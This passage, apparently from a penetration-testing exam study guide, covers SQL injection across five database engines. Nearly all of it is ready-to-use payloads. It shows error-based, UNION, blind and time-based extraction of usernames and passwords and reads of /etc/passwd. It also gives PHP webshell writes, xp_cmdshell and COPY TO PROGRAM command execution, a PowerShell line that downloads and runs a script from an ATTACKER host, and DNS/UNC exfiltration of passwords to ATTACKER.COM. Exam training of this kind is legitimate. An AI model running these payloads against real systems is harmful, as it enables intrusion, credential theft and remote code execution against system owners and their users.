' AND EXP(~(SELECT * FROM (SELECT @@version)a))-- -

-- ===== MySQL 5.7.x : JSON / BIGINT overflow =====
' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(@@version))s), 18446744073709551610, 18446744073709551610)))-- -

-- ===== PostgreSQL : CAST to int =====
' AND 1=CAST((SELECT version()) AS INT)-- -
' AND 1=CAST((SELECT current_database()) AS INT)-- -
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)-- -
' AND 1=(SELECT CAST((SELECT passwd FROM pg_shadow LIMIT 1) AS NUMERIC))-- -

-- ===== MSSQL : CONVERT / CAST type-conversion error =====
' AND 1=CONVERT(int,(SELECT @@version))-- -
' AND 1=CONVERT(int,(SELECT DB_NAME()))-- -
' AND 1=CAST((SELECT TOP 1 name FROM sys.databases) AS int)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT STRING_AGG(name,',') FROM sys.tables))-- -
-- Data-type "compare" variant (no CONVERT keyword):
' AND 1=(SELECT TOP 1 name FROM sys.databases)-- -

-- ===== Oracle : several error oracles =====
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1))-- -
' AND (SELECT DBMS_XMLGEN.GETXML('SELECT user FROM dual') FROM dual) IS NOT NULL-- -
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual)-- -
' AND 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((SELECT user FROM dual),'x','x')-- -
-- Generic conversion error:
' AND 1=TO_NUMBER((SELECT banner FROM v$version WHERE rownum=1))-- -

-- ===== SQLite =====
-- SQLite is loosely typed: classic CAST error-based rarely works.
-- Use UNION-based (3.8), boolean-based (3.9), or the heavy-query time oracle (3.10).

extractvalue/updatexml truncate at 32 characters. To read longer values, page through with SUBSTRING(<expr>,1,32), SUBSTRING(<expr>,33,32), … or use MID()/LIMIT n,1.

3.6.4 Time-delay functions

-- MySQL
' AND SLEEP(5)-- -
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -                       -- survives optimiser
' AND IF(1=1,SLEEP(5),0)-- -                                        -- conditional
' AND BENCHMARK(5000000,MD5('A'))-- -                               -- CPU-burn alternative
' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)-- -                -- conditional extraction
' RLIKE SLEEP(5)-- -                                                -- works in some LIKE contexts

-- PostgreSQL
' AND (SELECT 1 FROM pg_sleep(5))IS NOT NULL-- -
'; SELECT pg_sleep(5)-- -                                           -- stacked
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)IS NOT NULL-- -

-- MSSQL  (no inline sleep function - WAITFOR is a statement)
'; WAITFOR DELAY '0:0:5'-- -
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT SUBSTRING(@@version,1,1))='M' WAITFOR DELAY '0:0:5'-- -

-- Oracle
' AND 1=dbms_pipe.receive_message('a',5)-- -                        -- most reliable, PUBLIC by default
' AND (SELECT CASE WHEN (1=1) THEN dbms_pipe.receive_message('a',5) ELSE 1 END FROM dual)=1-- -
' AND DBMS_LOCK.SLEEP(5)=1-- -                                      -- needs EXECUTE on DBMS_LOCK
-- heavy-query fallback:
' AND 1=(SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3,all_users t4)-- -

-- SQLite  (no sleep function - heavy query only)
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))))-- -
' AND CASE WHEN (1=1) THEN LIKE('A',UPPER(HEX(RANDOMBLOB(100000000)))) ELSE 1 END-- -

MySQL SLEEP() inside an OR clause is evaluated for every row — a 5-second sleep on a 7-row table takes 35 seconds. Use AND with a known-true left operand (e.g. a valid id) so it evaluates once.

3.6.5 File read / write / command execution

-- ===================== MySQL =====================
-- Requires FILE privilege AND secure_file_priv permitting the path
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:\\Windows\\win.ini');
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
SELECT HEX(LOAD_FILE('/etc/passwd'));                     -- hex-wrap to survive binary/newlines
SHOW VARIABLES LIKE 'secure_file_priv';                   -- '' = anywhere, NULL = disabled

-- Write a webshell (file must not already exist; needs writable webroot)
' UNION SELECT '<?php system($_GET["c"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/sh.php'-- -
SELECT 0x3C3F7068702073797374656D28245F4745545B2263225D293B203F3E INTO DUMPFILE '/var/www/html/sh.php';
-- INTO DUMPFILE writes raw bytes (single row, no formatting) - use it for binaries/.so UDF libs.

-- MySQL RCE via UDF (sqlmap --os-shell automates this)
-- 1) write lib_mysqludf_sys.so into the plugin dir with INTO DUMPFILE
-- 2) CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
-- 3) SELECT sys_exec('id > /tmp/o');

-- ===================== PostgreSQL =====================
SELECT pg_read_file('/etc/passwd',0,10000);               -- superuser (pre-11: restricted to data dir)
SELECT pg_ls_dir('/etc');
COPY target_table FROM '/etc/passwd';                     -- read into a table (superuser / pg_read_server_files)
COPY (SELECT '<?php system($_GET["c"]);?>') TO '/var/www/html/sh.php';   -- write
SELECT lo_import('/etc/passwd');                          -- large object import
-- RCE (PostgreSQL 9.3+, superuser):
DROP TABLE IF EXISTS c; CREATE TABLE c(o text);
COPY c FROM PROGRAM 'id';
SELECT * FROM c;
-- One-shot OOB/RCE:
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/$(whoami)';

-- ===================== Microsoft SQL Server =====================
-- Enable and run xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC master..xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/s.ps1'')"';
-- Stacked, one line:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -

-- File read
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x;
EXEC master..xp_dirtree 'C:\',1,1;                        -- directory listing
EXEC master..xp_fileexist 'C:\Windows\win.ini';
-- File write (via xp_cmdshell echo, or OLE automation sp_OACreate)

-- OLE automation alternative to xp_cmdshell
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @o INT; EXEC sp_oacreate 'wscript.shell',@o OUT; EXEC sp_oamethod @o,'run',NULL,'cmd /c whoami > C:\o.txt';

-- ===================== Oracle =====================
-- File read via UTL_FILE (needs a DIRECTORY object and EXECUTE on UTL_FILE)
SELECT UTL_FILE.FOPEN('MY_DIR','passwd','R') FROM dual;
DECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(4000);
BEGIN f:=UTL_FILE.FOPEN('MY_DIR','passwd','R'); UTL_FILE.GET_LINE(f,s); DBMS_OUTPUT.PUT_LINE(s); UTL_FILE.FCLOSE(f); END;
SELECT DBMS_XSLPROCESSOR.READ2CLOB('MY_DIR','passwd') FROM dual;
SELECT * FROM all_directories;                            -- find usable DIRECTORY objects
-- Command execution: Java stored procedures, DBMS_SCHEDULER external jobs, or
--   SYS.KUPP$PROC.CREATE_MASTER_PROCESS (version-dependent, privileged)

-- ===================== SQLite =====================
-- No LOAD_FILE / OUTFILE. Write a file only via ATTACH (needs stacked queries):
ATTACH DATABASE '/var/www/html/sh.php' AS s;
CREATE TABLE s.p (x TEXT);
INSERT INTO s.p (x) VALUES ('<?php system($_GET["c"]); ?>');
-- readfile()/writefile() exist only in the sqlite3 CLI (fileio extension), not in embedded builds.

Exam tips

• MySQL INTO OUTFILE fails silently if the file already exists and needs an absolute path the mysqld user can write. secure_file_priv set to a directory limits you to that directory; NULL disables the feature entirely.
• INTO OUTFILE must be the last clause of the statement — you cannot put a comment terminator after it and expect the rest of the original query to be dropped; craft the injection so nothing follows.
• For MSSQL, if xp_cmdshell is disabled and you are sysadmin, re-enable it with sp_configure. If you are not sysadmin, look for IS_SRVROLEMEMBER('sysadmin') = 0 and pivot to OPENROWSET/linked servers instead.
• On Oracle, dbms_pipe.receive_message is executable by PUBLIC on most installs — it is your most dependable time oracle.

3.7 Exploiting Error-Based SQL Injection

Error-based is the fastest in-band path when the app leaks DBMS errors. One request = one value.

3.7.1 Workflow

1. Confirm the parameter errors on ' and repairs on ''.
2. Read the error text to fingerprint the DBMS (3.5.1) and, if the app echoes it, to read the surrounding query shape.
3. Pick the error primitive for that DBMS (3.6.3).
4. Extract values one at a time, wrapping each with delimiters (0x7e = ~) so you can spot where the payload output starts and ends.

3.7.2 MySQL extraction chain (copy-paste)

-- 1. version / user / database
' AND extractvalue(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT user()),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT database()),0x7e))-- -

-- 2. count the databases, then walk them
' AND extractvalue(1,CONCAT(0x7e,(SELECT COUNT(schema_name) FROM information_schema.schemata),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),0x7e))-- -

-- 3. tables of the current database, one per request
' AND extractvalue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),0x7e))-- -

-- 4. columns of a chosen table
' AND extractvalue(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x7e))-- -

-- 5. rows (32 chars at a time)
' AND extractvalue(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM users LIMIT 0,1),33,32),0x7e))-- -

3.7.3 MSSQL extraction chain

' AND 1=CONVERT(int,(SELECT @@version))-- -
' AND 1=CONVERT(int,(SELECT DB_NAME()))-- -
' AND 1=CONVERT(int,(SELECT SYSTEM_USER))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sys.databases WHERE name NOT IN ('master','tempdb','model','msdb')))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))-- -
-- walk rows by excluding what you already have:
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sys.tables WHERE name NOT IN ('users','logs')))-- -

3.7.4 PostgreSQL / Oracle one-liners

-- PostgreSQL
' AND 1=CAST((SELECT version()) AS INT)-- -
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)-- -
' AND 1=CAST((SELECT username||':'||password FROM users LIMIT 1) AS INT)-- -

-- Oracle
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM user_tables) WHERE r=1))-- -
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT username||':'||password FROM users WHERE ROWNUM=1))-- -

Exam tips

• If the error is generic ("An error occurred"), error-based is dead — move straight to boolean/time-based. Do not burn time.
• Wrap output in 0x7e (~) or : delimiters; without them you cannot tell where your value ends and the framework's message begins.
• Long values are truncated at 32 chars by extractvalue/updatexml. Chunk with SUBSTRING(x,1,32), SUBSTRING(x,33,32).
• sqlmap's error-based payload printed in its output is a ready-made manual payload — copy it out of the sqlmap banner, swap the inner SELECT for whatever you want, URL-encode once, and fire it in Repeater. This is the single fastest manual technique on real targets.

3.8 Exploiting UNION-Based SQL Injection

UNION combines the result sets of two or more SELECT statements. Two hard requirements:

1. Identical column count in both SELECTs.
2. Compatible data types in each corresponding column position.

3.8.1 Step 1 — Determine the column count

Method A — ORDER BY (binary search friendly):

' ORDER BY 1-- -      # ok
' ORDER BY 5-- -      # ok
' ORDER BY 10-- -     # ERROR: "Unknown column '10' in 'order clause'"
' ORDER BY 7-- -      # ok  => answer is between 7 and 9
' ORDER BY 8-- -      # ERROR => 7 columns

Method B — UNION SELECT NULL (works when ORDER BY is filtered):

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -      # no error => 5 columns

NULL is used because it casts to any type. Oracle needs the dummy table:

' UNION SELECT NULL FROM dual-- -
' UNION SELECT NULL,NULL FROM dual-- -

3.8.2 Step 2 — Find which columns are reflected on the page

Replace NULL with markers and see which appear in the rendered HTML:

' UNION SELECT 1,2,3,4,5-- -
' UNION SELECT 'aaa','bbb','ccc','ddd','eee'-- -
' UNION SELECT NULL,'INJ',NULL,NULL,NULL-- -     # test one position at a time for type compatibility

Typical outcome: a query returns 5 columns, the page renders 4 of them; column 2 is never printed. Column 2 is not injectable for in-band extraction — it exists in the result set but the template does not render it. Put your payload in a rendered position.

If a column rejects strings (type mismatch), keep NULL there and use another position. On Oracle/MSSQL use an explicit cast: CAST('INJ' AS VARCHAR(50)) / CONVERT(varchar,'INJ').

3.8.3 Step 3 — Fingerprint through the UNION

' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -              -- MySQL / MSSQL
' UNION SELECT NULL,version(),NULL,NULL,NULL-- -              -- MySQL / PostgreSQL
' UNION SELECT NULL,sqlite_version(),NULL,NULL,NULL-- -       -- SQLite
' UNION SELECT NULL,banner,NULL,NULL,NULL FROM v$version-- -  -- Oracle

3.8.4 Step 4 — Enumerate schema through the UNION

-- ===== MySQL =====
' UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL,NULL,NULL FROM information_schema.schemata-- -
' UNION SELECT NULL,GROUP_CONCAT(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()-- -
' UNION SELECT NULL,GROUP_CONCAT(column_name),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL FROM users-- -
-- group_concat truncates at group_concat_max_len (default 1024). If truncated, page it:
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL,NULL,NULL FROM users LIMIT 0,1-- -

-- ===== PostgreSQL =====
' UNION SELECT NULL,string_agg(datname,','),NULL,NULL,NULL FROM pg_database-- -
' UNION SELECT NULL,string_agg(table_name,','),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT NULL,string_agg(column_name,','),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,username||':'||password,NULL,NULL,NULL FROM users-- -

-- ===== MSSQL =====
' UNION SELECT NULL,name,NULL,NULL,NULL FROM master..sysdatabases-- -
' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables-- -
' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,username+':'+password,NULL,NULL,NULL FROM users-- -
' UNION SELECT NULL,(SELECT name+',' FROM sys.tables FOR XML PATH('')),NULL,NULL,NULL-- -   -- all tables in one cell

-- ===== Oracle  (FROM dual / FROM <table> is mandatory) =====
' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
' UNION SELECT NULL,LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name),NULL,NULL,NULL FROM user_tables-- -
' UNION SELECT NULL,username||':'||password,NULL,NULL,NULL FROM users-- -

-- ===== SQLite  (schema table = sqlite_master) =====
' UNION SELECT NULL,sqlite_version(),NULL,NULL,NULL-- -
' UNION SELECT NULL,group_concat(name),NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -
' UNION SELECT NULL,sql,NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -      -- full CREATE TABLE => all columns
' UNION SELECT flag,NULL,value,NULL,NULL FROM secret_flag-- -

3.8.5 Worked example (SQLite, 5 columns, column 2 not rendered)

1' OR 1=1-- -                                              # confirm injection, dump all rows
1' UNION SELECT 1,2,3,4,5-- -                              # column count = 5; page shows 1,3,4,5
1' UNION SELECT sqlite_version(),2,3,4,5-- -               # fingerprint: 3.22.0
1' UNION SELECT table_name,2,3,4,5 FROM sqlite_master-- -  # -> results, secret_flag
1' UNION SELECT sql,2,3,4,5 FROM sqlite_master-- -         # -> CREATE TABLE secret_flag(flag TEXT, value TEXT)
1' UNION SELECT flag,2,value,4,5 FROM secret_flag-- -      # -> extract the two columns

3.8.6 Troubleshooting

Exam tips

• Kill the original result set with id=-1 or id=0 before the UNION. It removes ambiguity about which rows are yours.
• UNION ALL SELECT avoids the implicit DISTINCT of plain UNION — sometimes it is also the version that slips past a naive filter.
• GROUP_CONCAT / string_agg / LISTAGG turn a whole table into one cell — the biggest single time-saver on the exam. Watch MySQL's group_concat_max_len (1024) truncation.
• Use 0x3a (:) and 0x0a (newline) as separators inside GROUP_CONCAT so the dump is readable in the rendered HTML.

3.9 Exploiting Boolean-Based Blind SQL Injection

No data and no errors are returned. You have exactly one bit per request: the page is either in state TRUE or state FALSE.

3.9.1 Step 1 — Establish the oracle

Send a known-true and a known-false condition and record how the response differs (body length, presence of a string, HTTP status, redirect).

1 AND 1=1-- -        # TRUE  : full blog post renders
1 AND 1=2-- -        # FALSE : blank page with only the sidebar/comment form
' AND '1'='1         # TRUE
' AND '1'='2         # FALSE

Use AND, not OR, for the oracle: with AND, a false right-hand side collapses the whole condition, producing an unmistakable FALSE page. With OR, a true right-hand side returns everything and masks the signal.

If the id itself is invalid, flip the logic: 999 OR 1=1 (TRUE, returns rows) vs 999 OR 1=2 (FALSE, blank).

3.9.2 Step 2 — Ask yes/no questions

-- Does a table exist?
1 AND (SELECT COUNT(*) FROM users)>0-- -
1 AND EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='users')-- -

-- How many rows?
1 AND (SELECT COUNT(*) FROM users)>10-- -
1 AND (SELECT COUNT(*) FROM users)=42-- -

-- How long is a value?
1 AND LENGTH((SELECT password FROM users LIMIT 0,1))>20-- -
1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=32-- -

3.9.3 Step 3 — Character extraction with SUBSTRING + ASCII (binary search)

Compare a single character's ASCII code, halving the search space each request: 7 requests per character (printable range) instead of 95.

-- MySQL
1 AND ASCII(SUBSTRING((SELECT @@version),1,1))>52-- -
1 AND ASCII(SUBSTRING((SELECT @@version),1,1))=53-- -                       # '5'
1 AND SUBSTRING((SELECT @@version),1,1)='5'-- -                             # direct compare
1 AND ASCII(SUBSTRING((SELECT database()),1,1))>109-- -
1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>110-- -
1 AND ASCII(SUBSTRING((SELECT user_email FROM users WHERE user_name='admin'),2,1))>67-- -

-- PostgreSQL
1 AND ASCII(SUBSTRING((SELECT version()),1,1))>80-- -
1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0),1,1)='u'-- -

-- MSSQL
1 AND ASCII(SUBSTRING((SELECT @@version),1,1))>77-- -
1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>100-- -

-- Oracle
1 AND ASCII(SUBSTR((SELECT banner FROM v$version WHERE ROWNUM=1),1,1))>79-- -
1 AND ASCII(SUBSTR((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM user_tables) WHERE r=1),1,1))>64-- -

-- SQLite
1 AND UNICODE(SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))>100-- -
1 AND SUBSTR((SELECT sqlite_version()),1,1)='3'-- -

3.9.4 Step 4 — Loop the algorithm

For each character position p from 1 to LENGTH(value):

1. lo=32, hi=126
2. mid=(lo+hi)/2; send ... ASCII(SUBSTRING(expr,p,1)) > mid ...
3. TRUE → lo=mid+1; FALSE → hi=mid
4. Repeat until lo==hi; that is the character.

Burp Intruder (Cluster bomb: position × candidate char, filter on the TRUE-state length) or a short script does this. sqlmap does it natively with --technique=B.

3.9.5 Practical relational lookup example

-- Is the 2nd character of admin's email greater than 'C'?
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='admin'),2,1)>'C'-- -

-- Narrow the first character of a user's email by bisection
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='Victor'),1,1)<'Z'-- -   # TRUE
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='Victor'),1,1)<'W'-- -   # TRUE
1 AND SUBSTRING((SELECT user_email FROM users WHERE user_name='Victor'),1,1)>'U'-- -   # TRUE  => 'V'

Exam tips

• Get the table name right before you extract. FROM user vs FROM users produces a permanent FALSE that looks exactly like a wrong guess — this is the classic blind-SQLi rabbit hole.
• URL-encode the payload once. Spaces, > and = inside a query string will otherwise mangle the condition.
• Verify your oracle after every few requests by re-sending the known-TRUE and known-FALSE probes. If the app has rate limiting or a cache, your oracle can silently drift.
• Prefer SUBSTRING(...)='x' direct comparison when the charset is small (hex hashes, digits) — 16 candidates beats 7-step bisection in wall-clock time with Intruder.
• MySQL string comparison is case-insensitive by default collation. To be exact, wrap with BINARY: AND BINARY SUBSTRING(x,1,1)='A'.

3.10 Exploiting Time-Based Blind SQL Injection

The oracle is response latency, not content. Use when the page is byte-identical for TRUE and FALSE.

3.10.1 Step 1 — Prove the delay

-- MySQL: use a known-true left operand and AND so SLEEP runs exactly once
admin' AND SLEEP(5) AND '1'='1
admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
1 AND SLEEP(5)-- -
1 AND BENCHMARK(5000000,MD5('A'))-- -

-- PostgreSQL
1 AND (SELECT 1 FROM pg_sleep(5))IS NOT NULL-- -

-- MSSQL (statement, needs stacked queries or an IF context)
1; WAITFOR DELAY '0:0:5'-- -

-- Oracle
1 AND 1=dbms_pipe.receive_message('a',5)-- -

-- SQLite (heavy query)
1 AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))))-- -

Baseline first: record the normal response time (e.g. ~250 ms) in Burp Repeater (bottom-right of the Response pane shows the elapsed time in ms). Then confirm the payload adds ~5000 ms.

3.10.2 Common gotcha — OR + SLEEP multiplies the delay

With OR SLEEP(5), MySQL evaluates SLEEP(5) for every row the query touches. On a 7-row table you get ~35 seconds, not 5. Fix it by anchoring on a real record and using AND:

admin' AND SLEEP(5) AND '1'='1        # exactly ~5s: 'admin' matches one row
fakeuser' OR SLEEP(5)-- -             # ~5s * (row count): confusing, avoid

If you see a multiple of your sleep value, that is confirmation too — just switch to AND for clean measurements.

3.10.3 Step 2 — Conditional delay = extraction

-- MySQL: sleep only if the condition is true
1 AND IF(1=1,SLEEP(5),0)-- -
1 AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)-- -
1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>109,SLEEP(5),0)-- -
1 AND IF((SELECT COUNT(*) FROM users)>10,SLEEP(5),0)-- -
1 AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>51,SLEEP(5),0)-- -
-- variant commonly generated by sqlmap:
1 AND (SELECT 5*(IF((ASCII(SUBSTRING((SELECT database()),1,1))>109),SLEEP(5),5)))-- -

-- PostgreSQL
1 AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT current_database()),1,1))>109) THEN pg_sleep(5) ELSE pg_sleep(0) END)IS NOT NULL-- -

-- MSSQL
1; IF (ASCII(SUBSTRING((SELECT @@version),1,1))>77) WAITFOR DELAY '0:0:5'-- -
1; IF (SELECT COUNT(*) FROM users)>10 WAITFOR DELAY '0:0:5'-- -

-- Oracle
1 AND (SELECT CASE WHEN (ASCII(SUBSTR((SELECT user FROM dual),1,1))>79) THEN dbms_pipe.receive_message('a',5) ELSE 1 END FROM dual)=1-- -

-- SQLite
1 AND CASE WHEN (SUBSTR((SELECT sqlite_version()),1,1)='3') THEN LIKE('A',UPPER(HEX(RANDOMBLOB(100000000)))) ELSE 1 END-- -

3.10.4 BENCHMARK as an alternative delay

When SLEEP() is filtered, force CPU work instead. The delay is proportional to the iteration count — tune it until it is unmistakable:

1 AND BENCHMARK(1000000,MD5('A'))-- -        # ~0.5s
1 AND BENCHMARK(10000000,MD5('A'))-- -       # ~4s
1 AND BENCHMARK(100000000,MD5('A'))-- -      # ~40s
1 AND BENCHMARK(5000000,SHA1('A'))-- -
1 AND BENCHMARK(1000000,ENCODE('hello','key'))-- -
-- conditional:
1 AND IF(SUBSTRING(@@version,1,1)='5',BENCHMARK(10000000,MD5('A')),0)-- -

Heavy-query equivalents for engines with no sleep:

-- Oracle
1 AND 1=(SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3,all_users t4)-- -
-- MySQL/generic cartesian burn
1 AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B)-- -

3.10.5 Version enumeration by delay (worked)

-- "If the first char of the version is 5, sleep 7 seconds"
fake' OR IF(SUBSTRING(@@version,1,1)=5,SLEEP(7),0)-- -      # ~7s  => MySQL 5.x confirmed
fake' OR IF(SUBSTRING(@@version,1,1)=4,SLEEP(7),0)-- -      # baseline => not 4.x

Exam tips

• Always baseline. A slow app can look like a 2-second sleep. Use 5-10 s, never 1-2 s.
• Reduce --threads to 1 and raise --time-sec when the network is noisy; false positives in time-based are the most expensive kind of mistake.
• MSSQL WAITFOR DELAY is a statement, not an expression — it needs stacked queries or an IF context. It will never work inside a WHERE clause as a function.
• Time-based is the slowest technique. If any content difference exists, use boolean-based. If any output reflects, use UNION.

3.11 Out-of-Band (OOB) SQL Injection

Two separate channels: the injection goes in over HTTP, the data comes out over DNS/HTTP/SMB to a host you control (Burp Collaborator, interactsh, your own nslookup/HTTP listener). Use it when the app returns nothing at all, or when the query executes asynchronously.

-- ===== MySQL (Windows only for UNC; requires FILE privilege) =====
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.ATTACKER.COM\\a'))-- -
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1),'.ATTACKER.COM\\a'))-- -
SELECT ... INTO OUTFILE '\\\\ATTACKER.COM\\share\\out.txt';

-- ===== Microsoft SQL Server =====
'; EXEC master..xp_dirtree '\\'+(SELECT DB_NAME())+'.ATTACKER.COM\a'-- -
'; DECLARE @q VARCHAR(1024); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.ATTACKER.COM\a'; EXEC master..xp_dirtree @q-- -
'; EXEC master..xp_fileexist '\\ATTACKER.COM\a'-- -

-- ===== Oracle =====
' AND (SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.ATTACKER.COM') FROM dual) IS NOT NULL-- -
' AND (SELECT UTL_HTTP.REQUEST('http://ATTACKER.COM/'||(SELECT user FROM dual)) FROM dual) IS NOT NULL-- -
' AND (SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.ATTACKER.COM',80) FROM dual) IS NOT NULL-- -
-- XXE-style (no ACL needed on some versions):
' AND EXTRACTVALUE(XMLType('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % p SYSTEM "http://'||(SELECT user FROM dual)||'.ATTACKER.COM/">%p;]>'),'/l')-- -

-- ===== PostgreSQL =====
'; COPY (SELECT '') TO PROGRAM 'nslookup '||(SELECT current_user)||'.ATTACKER.COM'-- -
'; SELECT dblink_connect('host=ATTACKER.COM user=x password=y dbname=z')-- -

sqlmap uses this channel for --dns-domain and for --os-pwn connect-back.

Exam tips

• Oracle network ACLs (11g+) frequently block UTL_HTTP/UTL_INADDR. DBMS_LDAP.INIT and the XMLType/XXE variant often still work.
• DNS exfiltration cannot carry arbitrary bytes — hex-encode first (HEX(), RAWTOHEX()) and chunk to fit label (63 char) and total (253 char) DNS limits.
• Modern MySQL on Linux cannot do UNC paths; OOB via MySQL is essentially Windows-only.

3.12 Second-Order SQL Injection

The payload is stored by one request (registration, profile update, comment) and executed by a different, later request (admin panel, report generation, password change) that concatenates the stored value into a new query — where escaping is usually absent because the value is "already in the database and therefore trusted".

Detection pattern:

1. Register/store a value containing a payload: admin'-- -, x' AND SLEEP(5)-- -, x'||(SELECT version())||'.
2. Trigger the second-stage function (view profile, change password, admin list, export).
3. Watch for the effect there — error, delay, or a Collaborator hit.

# Stage 1: store the payload in the username at registration
POST /register  ->  username=test'+AND+SLEEP(5)--+-&password=Passw0rd

# Stage 2: trigger the vulnerable second query (the delay proves it)
GET /profile.php        # or: POST /changepass, /admin/users, /export

sqlmap handles this natively:

# -r = the request that STORES the payload; --second-url = the page that TRIGGERS the query
sqlmap -r store.req -p username --second-url "https://target/profile.php" --batch

# Full request file for the second stage (when it needs a session cookie / POST body)
sqlmap -r store.req -p username --second-req trigger.req --batch

Exam tips

• Time-based payloads are the best second-order probes: you get an unambiguous signal on the second page without needing reflected output.
• Registration, "update profile", and "leave a comment" are the highest-yield stage-1 sinks; admin dashboards and CSV/PDF export are the highest-yield stage-2 sinks.
